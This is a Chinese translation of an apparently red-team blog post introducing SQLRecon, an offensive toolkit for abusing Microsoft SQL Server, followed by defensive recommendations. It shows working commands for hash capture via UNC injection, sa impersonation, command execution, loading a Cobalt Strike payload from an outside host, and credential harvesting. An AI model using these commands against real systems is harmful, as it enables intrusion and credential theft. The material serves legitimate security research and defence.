数据库需警惕：通过 SQLRecon 滥用 Microsoft SQL Server。

在我的职业生涯中，我有幸能一睹全球某些大型组织的运作内幕。根据我的经验，大多数垂直行业都依赖于企业级 Windows 网络。事实上，我见过的去中心化的零信任网络、企业级 Linux、macOS 网络或 Active Directory 替代方案 (FreeIPA)，一只手就能数得过来。

当我浏览这些大型且往往很复杂的企业网络时，经常会发现 Microsoft SQL Server，它们通常是为支持某一业务功能而部署的。对于不熟悉 SQL Server 的读者来说，简单来说就是：它是一种关系数据库软件，且通常安装在 Windows 服务器上。SQL Server 的主要用途是存储数据并向应用程序或用户提供数据。

本博客文章将回顾 SQL Server 带来的攻击面，以及如何使用 X-Force Red 的工具来滥用错误配置和漏洞SQLRecon 此外，防御性考虑因素将在适用的情况下予以概述。

SQL Server 中的漏洞和错误配置已有详细记录。虽然这些弱点似乎一直存在，但不知何故，继续强化 SQL Server 仍然常会被防御团队忽视。我主要是指加固底层配置并防止对服务的不当访问。

造成此监督的一个合理解释是，组织需要优先考虑和解决更大的风险。因此，强化 SQL Server 的工作被搁置一旁，因为修补生产数据库配置可能会导致可用性问题，而此问题可能会转化为运营问题，从而最终影响企业生产力。

我在企业网络中发现的最常见的错误配置之一是，凡经过身份验证的域对象均可作为低权限帐户连接到 SQL 服务。这只要求提供有效的域上下文即可。换言之，便是能提供域用户或域计算机帐户的有效令牌。

举个例子，如果普通业务用户的工作站被攻破，且存在一条通往配置错误的 SQL Server 的网络路由，对手就可能会：

• 在远程 SQL Server 上执行有限的 SQL 命令。
• 确定他们拥有的权限，而这可能会通过冒充式攻击提供权限升级的机会。
• 指示 SQL Server 通过向通用命名约定 (UNC) 路径发出请求来提供凭据，而这可能导致获得哈希凭据，进而可破解或转发该凭据以发起中继式攻击。
• 借助绑定于与其他 SQL Server 关联的 SQL Server 的权限，可能会导致权限升级。

这些还只是对手在域环境中评估配置错误的 SQL Server 时可能取得部分示例成果。SQL Server 带来的攻击面始终取决于您所面临的环境和配置。

近年来，红队操作员可谓是如获至宝，因为他们可充分利用各种 Active Directory 滥用手段来提升企业 Microsoft 网络中的权限。然而，随着防御团队开始掌握缓解这些弱点的方法，通过滥用 Active Directory 来提升权限的途径自然而然就会消亡。

尽管如此，我们还是继续前进，沿着众所周知的攻击清单前进、乐观地寻找升级路径，从而帮助我们实现目标。我不太想承认，很长一段时间里，攻击 SQL Server 对我来说优先级很低。相反，我会选择优先考虑共享存储空间、内部 Web 应用程序、DevOps 工具或云基础设施等内容。通过这篇文章您大概就能明白我的意思……

2022 年的某个时候，我正在执行一项任务，而在用尽所有首选的升级路径后，我陷入了僵局。这主要是因为环境异常坚固。至少，在我发现一个大型 SQL Server 服务器场之前，我是这么想的，那里肯定存在配置错误或漏洞。

当时我并不知道，写完这篇博客文章后我才发现，Kaspersky 发现使用 SQL Server 的重复攻击在 2022 年上升了 56%。这是一个惊人的数字。

作为红队操作员，我经常使用命令与控制 (C2) 框架与客户网络中已被我攻破的系统进行交互。我们有幸与之合作的客户通常拥有成熟的网络安全计划、能力出众的防御团队以及现代化的安全控制措施，例如端点检测和响应 (EDR) 解决方案。

多年来，已开发出多种工具来攻击 SQL Server。在我试笔的日子里，我最后总能找到的是 PowerUpSQL 。该项目由 Scott Sutherland (@_nullbind) 创建，且主要使用 PowerShell 进行开发。

EDR 解决方案可以说是一个强大的对手，因为它们在检测专为进攻性安全而设计的恶意开源工具（尤其是那些依赖 PowerShell 的工具）方面做得非常出色。这并不是要忽视 PowerShell 开发后工具，它们是有自己的用途，但不是为了解决我在所处环境中面临的问题而开发的。

我在任务过程中遇到的问题是，我需要找到一种方法连接 Microsoft SQL Server，并开始查询它们是否存在错误配置或漏洞。然而，使用任何现有且依赖于 PowerShell 的 SQL Server 开发工具，都必然会被防御团队发现。造成此情况的原因很多，我不会详细说明，但由于 AMSI、受限语言模式和各种日志记录样式等安全功能，PowerShell 并不是进行开发后攻击的理想工具。当 EDR 解决方案以及其他日志记录与监控控制措施到位时，此情况只会进一步加剧。

作为替代方案，红队操作员通常选择 C# 作为开发后期工具的语言，因为它提供了一种与 .NET 框架和 Windows API 进行交互的简便方法。

我绝算不上是 C# 或 .NET 开发人员，但我的知识足以编写工具来解决我面临的问题。队列 SQLRecon ，它是一款 C# SQL 工具包，专为进攻性侦察和后期开发而设计。

SQLRecon 可通过对红队操作员在攻击 SQL Server 时可采取的方法进行现代化改造，来帮助解决开发后工具缺口。该工具采用模块化设计，以实现轻松可扩展性。 SQLRecon 无论是单独使用还是在一组不同的 C2 框架中均兼容。使用后者时，SQLRecon 可在进程中执行，也可通过传统分叉和运行方式执行。

SQLRecon  有超过 80 个模块可供选择。以下对象提供的部分功能的高级概述如下所列：SQLRecon ：

身份验证提供程序

• 本地 SQL 数据库帐户
• 基于当前令牌的 Windows 域身份验证
• 通过用户提供的凭据进行 Windows 域身份验证
• Azure 域身份验证
• Azure 本地身份验证

枚举模块

• 找到与服务主体名称 (SPN) 关联的 SQL Server
• 获取有关 SQL 服务的信息
• 确定 SQL Server 中的权限
• 列出数据库、表、列和用户
• 搜索数据库内容
• 执行任意查询
• 列举可被模拟的用户
• 识别链接的 SQL Server

命令执行、水平运动和权限提升

• xp_cmdshell
• OLE 自动化程序
• 加载并执行自定义 .NET CLR 程序集
• SQL 代理作业
• ADSI 凭据收集

运营安全

• 持续身份验证
• 广泛的命令行日志记录
• 基于启用还是禁用 SQL Server 选项的执行防护措施
• 参数错误处理
• 在适用的情况下，创建随机字母数字 SQL 内容
• 自动清理在 SQL Server 中创建的数据，以用于命令执行

其他

• 切换数据库上下文的能力
• 连接到侦听非标准 TCP 端口的 SQL Server
• 支持假冒式攻击
• 能枚举和攻击链接的 SQL Server
• 支持各种 Microsoft Systems Center Configuration Manager (SCCM) 和 Microsoft Endpoint Configuration Manager (ECM) SQL 数据库攻击
• 所有 SQL Query 均使用 System.Data.SqlClient  命名空间（由 Microsoft 开发）

有关每种技术的详细使用信息，请参阅维基。

为了对即将到来的演示做好准备，我将在 Jeff Smith 的受感染 Windows 10 工作站(JSmith) （位于 kawalabs.local  企业网络中）上进行操作。

Jeff 的工作站有到通往 3 个 SQL Server 的网络路由，每台 SQL Server 均运行不同的版本：2016、2019 与 2022 版。

 SQL 链接 已配置于相关系统之间 SQL01  以及SQL02 之间，并已在 之间配置另一个 SQL 链接SQL02  和 SQL03 。对于不熟悉链接 SQL Server 的读者，这其实是允许一个 SQL 实例对另一个 SQL 实例执行 SQL 语句。例如，SQL01  可对 执行 SQL 语句SQL02, 以及SQL02  可对 SQL03 执行语句，但 SQL01 无法对 执行语句，SQL03  反之亦然。在实际的企业网络中，链接的 SQL Server 十分常见。

此外， Active Directory Services (ADSI) 链接 已建立于相关系统之间 SQL03  与 kawalabs.local  域中的主域控制器之间DC01 。ADSI 链接为 SQL Server 提供了一种与 Active Directory 对象交互的方式。

最后， kawalabs.local  域已连接到 Azure Active Directory 域 kawalabs.onmicrosoft.com  使用  Azure AD Connect。这允许本地 Active Directory 用户 kawalabs.local  访问 Azure 云中的资源。  kawalabs.onmicrosoft.com Azure AD 租户包含一个 SQL Server，它存储有支付数据、ECOM01 。

图 1：网络配置

此外，我将利用 Cobalt Strike（一种流行的指挥与控制框架）在 Jeff 的受感染工作站上执行开发后任务(DESKTOP-LF8Q3C6) 。在以下屏幕截图中，我执行了 whoami  命令。这只是为了表明 Jeff 不是特权用户，且拥有kawalabs.local  域与更广泛网络内的基本权限。

图 2：发出 whoami 命令

撰写本文时，SQLRecon 有两个枚举模块，可用于发现网络中的 SQL Server，并获取有关 SQL Server 实例的某些信息。以下命令将枚举 Active Directory 服务主体名称 (SPN)，并确定是否为 SQL 服务器设置了任何 SPN。在 kawalabs.local 域中，为几组不同的帐户设置了 SPN，如以下屏幕截图所示。

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

图 3：通过 SPN 收集发现 SQL Server

该info  模块对于获得有关服务器的附加信息非常有用。以下示例演示了从 SQL Server 检索的信息的类型。

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

图 4：获取有关 SQL02 的信息

特别感谢 Daniel Duggan (@_RastaMouse) 对枚举模块的贡献 SQLRecon 。

标准模块会针对单个 SQL Server 实例执行。

在以下示例中，我会使用 AzureAD  身份验证提供程序，而它会利用 Azure Active Directory 帐户的用户名和密码并针对 （一个位于 Azure 云中的 SQL 实例）ECOM01 进行身份验证。然后，我会使用 whoami  模块来确定 Jeff 对 拥有的权限ECOM01 。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

图 5：枚举 的 SQL 权限jsmith@kawalabs.onmicrosoft.com

默认情况下，SQLRecon  将连接到 master  数据库，因为该数据库通常存在于所有 SQL Server 实例上。但是，您可使用 databases  模块轻松列出 SQL Server 实例上的所有不同数据库。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

图 6：枚举 上的数据库ECOM01

您可使用 /database : 标记来指定数据库名称，从而连接到其他数据库并传递给您要执行的任意模块。在以下示例中，我会连接到 Payments  数据库（ ECOM01  上）并执行自定义 SQL 查询，以便获取 cc  表中的所有内容。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

图 7：从 中的cc  表获取虚拟卡数据Payments  数据库（ ECOM01

说道某些更有趣的模块， SQLRecon  支持 UNC 路径注入，而低权限用户帐户（如 ）也可执行此操作KAWALABS\JSmith 。此问题可能导致获得哈希凭据，而这些凭据反过来可被破解或传递以执行中继式攻击。在以下示例中，我会使用 WinToken  身份验证提供程序，而它将使用 KAWALABS\JSmith  用户帐户的令牌以针对 SQL02 （某一本地服务器）用于进行身份验证。

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

图 8：UNC 路径注入

在以下屏幕截图中，我们可看到连接是由 SQL02  发起并连接到由我们控制的某一主机 (172.16.10.19)。此操作将导致获得 KAWALABS\mssql_svc  域帐户的 NetNTLMv2 哈希值。

图 9：获取 的 NetNTLMv2 哈希值KAWALABS\mssql_svc

SQLRecon  具有各种命令执行模块，可用于对底层系统执行任意命令。如果您正寻求执行权限提升和/或水平运动，此功能则尤其有用。现已在整个 SQLRecon 中实施重要的防护措施，以确保默认启用操作安全性。两大防护措施分别是：

• 持续身份验证，其中 SQLRecon  在执行任何模块之前，将验证是否可对域或 SQL Server 进行身份验证。
• 执行防护措施，其中 SQLRecon  将在执行任何用于加载对象、创建对象或执行命令的模块之前验证最佳条件是否存在。

xp_cmdshell  一直以来都是最常用的方法之一；其中，您可通过 SQL 数据库对底层服务器执行命令。在以下示例中，我使用了低权限 KAWALABS\JSmith  帐户来尝试启动 notepad.exe  应用程序（位于 上）SQL01 。

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

图 10：演示如何通过防护措施阻止命令执行

如上图所示，系统遇到了执行防护措施，并收到一条错误消息，其中表明 xp_cmdshell  已禁用。这通常是多数版本的 SQL Server 上的默认配置。好在 SQLRecon  有 enableXp  模块，而它会启用 xp_cmdshell  配置。SQLRecon 也有 disableXp  模块，以便在使用 执行命令后恢复到原来的安全状态xpCmd 。

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

图 11：另一个防护措施的演示，即权限不足会导致无法执行命令

正如预期的那样，低权限 KAWALABS\JSmith  帐户遇到了执行防护措施，并收到一条消息，表示其不具备启用或禁用 xp_cmdshell  的必要权限，或者它是否具备此权限？

SQL 模拟是一种特殊权限，它本质上允许用户或团队在其他用户的许可以及自身权限下进行操作。以下屏幕截图取自 SQL02  的后台配置并表明 BUILTIN\Users  可模仿 sa  帐户。

图 12： BUILTIN\Users  可模仿 sa  帐户（位于 SQL02

SQLRecon  有 impersonate  模块上）以帮助判断用户帐户能否冒充其他用户。

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

如以下屏幕截图所示， KAWALABS\JSmith  低权限用户帐户可冒充 sa  帐户（位于 SQL02 。它展示了以类似管理员的权限对 SQL 实例执行命令的能力。此外，它还意味着我们现在可对底层服务器执行系统命令。

图 13：枚举可对 模拟的帐户SQL02

为了演示另一个命令执行模块， SQLRecon  可使用 OLE 自动化程序对底层用户执行命令。此操作会使用 odsole70.dll  程序集与 COM 对象进行交互，以便能利用 wscript.shell  来运行任意系统命令。

模拟模块前面始终带有字母 i ，且这些模块需要待模拟帐户的名称。在以下示例中，我会连接到 SQL02  和低权限 KAWALABS\JSmith  帐户，并模拟 sa 帐户对 启用 OLE 自动化程序SQL02 。

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

图 14：使用模拟功能来启用 OLE 自动化程序

由于已对 启用 OLE 自动化程序SQL02 ，我有权以启动 SQL Server 进程的用户帐户身份，对底层服务器执行任意命令。在以下示例中，我会执行一个 PowerShell 子进程，其中列出了先前用于捕获 NetNTLMv2 凭据的同一分享所在的目录。请记住，它主要用于演示目的，且通常不是在对手模拟交战中会执行的操作。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

图 15：使用 PowerShell 列出远程主机上的目录

如以上屏幕截图所示，系统会随机生成一个 OLE 对象和方法，然后执行恶意命令，最后销毁 OLE 对象。此举是故意为之，因为我们不想留下我们操作的任何证据。

在以下屏幕截图中，我们可看到连接由 KAWALABS\mssql_svc  用户帐户通过 SQL02  发起并连接到由我们控制的某一主机 (172.16.10.19)。此操作可获取 KAWALABS \mssql_svc  计算机帐户的 NetNTLMv2 哈希值。

图 16：获取 NetNTLMv2 哈希值 KAWALABS\mssql_svc

以下示例演示了如何使用模拟功能来执行 tasklist  命令（使用 xp_cmdshell  并对 执行）SQL02 。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

图 17：启用 xp_cmdshell  并使用模拟功能对 执行系统命令SQL02

将配置恢复到它们的原始状态始终是一种好的做法。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

图 18：禁用 OLE 自动化程序和 xp_cmdshell  并对 执行）SQL02

SQLRecon  也可能对链接的 SQL Server 实例发起攻击。以下屏幕截图取自 SQL02  的后台配置并表明 SQL02  的后台配置，且存在指向 的链接SQL03 。根据我的经验，这是大型企业网络中的常见配置。

图 19： SQL02  有指向 的 SQL 链接SQL03

配置从一个 SQL Server 实例到另一个 SQL Server 实例的链接通常需要一组特权凭据来建立并绑定链接。此操作对对手有利，因为它允许在建立连接的帐户的上下文中对链接的 SQL Server 执行命令。另一个考虑因素是：链接服务器可能会与对手操作的网络分隔开来。这可能会提供穿越分段边界并进入更高安全要求的网络区域的机会。

SQLRecon  有一个 links  模块来确定 SQL Server 是否存在链接的 SQL 实例。

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

图 20：枚举针对 的链接 SQL ServerSQL02

链接模块总是以字母 l 开头，且这些模块需要您要对其发出命令的链接服务器的名称。在以下示例中，我会连接到 SQL02  （以低权限 KAWALABS\JSmith  帐户的身份），并发出 lWhoami  命令（针对链接的 SQL03  实例）。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

图 21：枚举我们可对 SQL03  假设的 SQL 权限（通过 ）SQL02

如以上屏幕截图所示，我们的操作环境为 sa  帐户（位于 SQL03 。这是因为我们使用了 sa 帐户来建立从 SQL02  到 的 SQL 链接SQL03 。

 SQLRecon  中的所有执行模块在链接 SQL Server 上均完全支持。在以下示例中，我会对 启用通用语言运行时 (CLR) 整合SQL02 。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

图 22：对 启用 CLR 整合SQL02

CLR 整合允许将自定义 .NET 程序集导入 SQL Server。这些程序集在执行前会存储在存储过程中。这是一个很好的水平运动攻击原语。

在以下屏幕截图中，我创建了一个名为 的自定义 SQL Server CLR 兼容 .NET 程序集hollow.dll 。此操作会将 Cobalt Strike 有效负载存储到一个名为 的存储过程中ExecuteShellcode 。该有效负责将执行基本进程空化操作，并将 Cobalt Strike shellcode 注入新生成的 Internet Explorer(iexplore.exe) 流程。

图 23： hollow.dll ，一个与 SQL Server CLR 兼容的 .NET 程序集

如果您有兴趣了解有关自定义 SQL Server CLR 兼容 .NET 程序集的更多信息，请访问 Clr 部分（位于 SQLRecon  wiki 上）。 hollow.dll  的示例可在此处找到。

在以下演示中，我将 hollow.dll  上传到 Web 服务器，并将程序集重命名为 favicon.png 。我指示链接的 SQL03  服务器下载 favicon.png  （从 Web 服务器）并执行必要步骤以将自定义程序集导入 SQL Server 存储过程并执行此有效负载。此操作可实现在 上下文中获取 Cobalt Strike 信标KAWALABS\mssql_svc  用户的上下文中对 获取 Cobalt Strike 信标SQL03 。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

图 24：在 上下文中获取 Cobalt Strike 信标KAWALABS\mssql_svc  并对 执行）SQL03

当然，前一示例要求 SQL03  能访问互联网，以便从面向公众的 Web 服务器下载该程序集。某些情况下，从面向公众的 Web 服务器下载外部资源是不可能或不可取的。因此， SQLRecon  允许直接从受感染主机的文件系统或从 SMB 分享中加载自定义程序集。在以下演示中，我将 hollow.dll  上传到本地 SMB 服务器、从此 SMB 服务器将程序集重命名为 Reports.xlsx 。我指示链接的 SQL03  服务器下载 Reports.xlsx  ，然后执行必要步骤将自定义程序集导入 SQL Server 存储过程并执行有效负载。此操作可实现在 上下文中获取 Cobalt Strike 信标KAWALABS\mssql_svc  用户的上下文中对 获取 Cobalt Strike 信标SQL03 。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

图 25：在特定上下文中获取 Cobalt Strike 信标

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  还可能对链接的 ADSI 服务器实例进行攻击，以获取域帐户的明文凭据。有关 ADSI tradecraft 的更多信息，请参阅 Tarlogic 博客文章。以下屏幕截图取自后端配置SQL03  的后台配置并表明 SQL03  有指向 中主域控制器的 ADSI 链接kawalabs.local  域中的主域控制器之间DC01 。此 ADSI 链接由 linkADSI  对象表示。

图 26： SQL03  有指向 的 ADSI 链接DC01

配置从 SQL Server 实例到 Active Directory 域控制器的 ADSI 链接不一定需要特权凭据。然而，在实际运营中，我见过未应用最小特权原则的案例。

在以下示例中，我会使用 lLinks  模块以首先连接到 SQL02 ，然后查询 SQL03  是否存在其他链接 SQL Server。您可将此情况视为双链接场景。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

图 27：枚举来自 且针对 SQL03  的链接SQL02

由于我们已确认存在针对 的 ADSI 链接SQL03 ，现在便可利用 lAdsi  模块来获取用于配置来自 的 ADSI 连接的明文域凭据SQL03  到 的 SQL 链接DC01 。此操作涉及将包含 LDAP 服务器的自定义 CLR 程序集上传到针对 的新 SQL Server 运行时例程中SQL03 。然后，LDAP 服务器将在用户提供的端口（本例中为 49103）上执行并侦听仅限本地的连接。然后，我们利用针对 SQL03 的 SQL Server 代理作业来引导用于配置 ADSI 连接的凭据，从而通过 49103 端口向本地 LDAP 服务器发起 LDAP 请求。此临时 LDAP 身份验证重定向最终会导致获得明文域凭据。应当注意，Adsi 与 iAdsi 模块不使用 SQL Server 代理作业来启动 LDAP 请求流程，而是使用标准 SQL 查询。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

图 28：双链接 ADSI 凭据收集攻击

 SQLRecon  最大的扩展之一来自我的同事 Dave Cossa (@G0ldenGunSec)，他引入了各种可用于滥用 Microsoft System Center Configuration Manager (SCCM) 和 Microsoft Endpoint Configuration Manager (ECM) 的模块。SCCM 模块是根据实际参与情况开发的，其中滥用 SCCM SQL Server 数据库有助于我们进一步实现目标。大多数情况下，要与 SCCM 数据库进行交互，需要获取提升权限的上下文，或是需要获得 SCCM 服务器的访问权限。在以下示例中，我有一个在 KAWALABS\mssccm_svc  帐户（位于 ECM 服务器上）的上下文中运行的 Cobalt Strike 信标。MECM01 。

从现在开始，我会将 ECM 和 SCCM 同时简称为 SCCM。

在以下示例中，我会使用数据库模块来枚举databases ，而它们存在于针对 的 SQL Server 实例中MECM01 。

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

图 29：枚举 上的数据库MECM01

如以上屏幕截图所示， CM_KAW  数据库存在，而它很可能是为此服务器上的 SCCM 配置的数据库。

SCCM 模块始终以字母 s 开头，且这些模块需要您要对其发出命令的 SCCM 数据库的名称。在以下示例中，我会连接到 CM_KAW  数据库（ MECM01  （以 KAWALABS\mssccm_svc  帐户的身份）并发出 sUsers  命令。此模块将枚举经配置用于登录 SCCM 服务器的所有主体。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

图 30：枚举所有可通过 SQL Server 数据库登录 SCCM 的用户

也可使用 枚举在 SCCM 中配置的任务sTaskList  模块轻松列出 SQL Server 实例上的所有不同数据库。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

图 31：通过 SCCM SQL Server 数据库枚举在 SCCM 中配置的任务

SCCM 通常需要保管凭据，而这些凭据可用于对环境中的系统或资源进行身份验证，以便部署软件包或执行 SCCM 提供的任何其他各种操作。通过使用 sCredentials  模块，我们可获取保管凭据的列表。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

图 32：通过 SCCM SQL Server 数据库获取保管凭据

在以上屏幕截图中，我们可看到一个凭据已被保管，而它对应于 KAWALABS\mssccm_svc  帐户。

通过使用 Adam Chester 的 (@_xpn_) 逻辑，可解密 SCCM 保管凭据并获取保管帐户的明文密码。此操作确实需要 SCCM 服务器的本地管理员权限。在以下屏幕截图中，我会使用 sDecryptCredentials  帐户来解密为 保管的凭据KAWALABS\mssccm_svc  帐户。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

图 33：解密保管的 SCCM 凭据

为防止攻击者滥用 SQL Server，防御方在实施安全控制措施时可以采取分层方法。首先，我强烈建议阅读微软官方发布的《SQL Server  安全最佳实践》指南文档。

下一步应是SQLRecon  维基，其中包含多项优秀的防御性建议。以下列举了我挑选出的几项较为重要的控制措施。

应考虑在网络层面实施以下安全控制措施。

• 确保已考虑指向 SQL Server 的网络路由，且仅限于一组已授权的系统或子网。工作站很少需要能直接与 SQL Server 进行通信的能力。如果可行，请考虑阻止对 TCP 1433 的访问。
• 验证网络日志记录与监控工具是否正在捕获穿越网络边界的 SQL 查询。由工作站向 SQL 服务器发送 SQL 查询的情况并不常见。

此环境中的工作站和服务器。

• 定期验证基于主机的安全控制措施，如端点检测和响应解决方案已启用，且产品签名完全处于最新状态。
• 防御者应确保 Windows 端点上安装有 .NET Framework v4.8，且当前使用的任何基于主机的安全产品均支持 AMSI for .NET。如此便可实现扫描内存中的 .NET 程序集。
• 启用或配置应用程序白名单解决方案以阻止未签名的二进制文件（如 ）SQLRecon ，以免它在端点上直接执行。

• 在底层 Windows Server 操作系统上确保遵循相关强化指南。仅考虑安装必要的 SQL 数据库组件。
• 确保 SQL Server 已纳入组织的补丁管理策略，且会定期针对 SQL 服务和 SQL Server 应用补丁。
• 考虑限制或删除 BUILTIN\Users  帐户以免对 SQL Server 实例进行身份验证。
• 配置用户帐户的角色时，请遵循最小权限原则。此原则也应应用于启动 SQL Server 的服务帐户。
• 删除不必要的 SQL 服务主体名称关联。
• 为所有本地帐户使用强密码，例如 sa  帐户。
• 记录、集中采集和审核 SQL Server 登录事件。Nethrix 写了一篇很棒的博文，其中介绍了如何实现此目标。
• 对敏感内容进行加密。即使 SQL Server 遭到入侵，此举也可保护数据集免于暴露。
• 评估各 SQL Server 之间的链接，并确定用于绑定链接的身份验证类型。如有可能，选择使用当前的身份验证安全上下文，而不是使用 的上下文sa  帐户。
• 评估所有已配置的模仿，并确定其需求。
• 如果使用的是 Azure SQL 数据库，请确保 Microsoft 高级威胁防护已启用，并对其进行配置以便发送警报。

针对 SQL Server 的攻击在当今网络安全态势下依旧应引起重视。攻击者会不断改进其规避防御控制措施的技术，而在此过程中，他们会越来越多地利用辅助服务，如 SQL Server。此类攻击已变得更为复杂和隐蔽，且往往采用不太常见的技术来绕过传统的安全措施。

通过滥用 SQL Server，对手可未经授权访问敏感数据、操控数据库，甚至还可破坏整个系统。此类攻击的后果可能十分严重，其中包括导致数据泄露、经济损失和组织声誉受损。

为降低此类攻击的风险，组织必须审查其 SQL Server 配置并采用最佳安全实践。此外，组织应投资于可提供实时监控、异常检测与行为分析功能的安全解决方案。这些解决方案有助于更有效地检测和响应攻击，从而最大限度地减少对关键数据和系统的潜在影响。通过采取主动措施保护 SQL Server 环境，组织可显著降低成为这些攻击受害者的风险，并保护其宝贵的数据资产。

有关最新稳定版本的 SQLRecon  ，您始终可在 X-Force Red GitHub 页面上找到。

如果您要参加拉斯维加斯黑帽大会并有兴趣了解更多信息，则可参加我的会议：利用 SQLRecon 滥用 Microsoft SQL Server（举行时间为 8 月 10 日星期四，下午 1:00（太平洋时间））。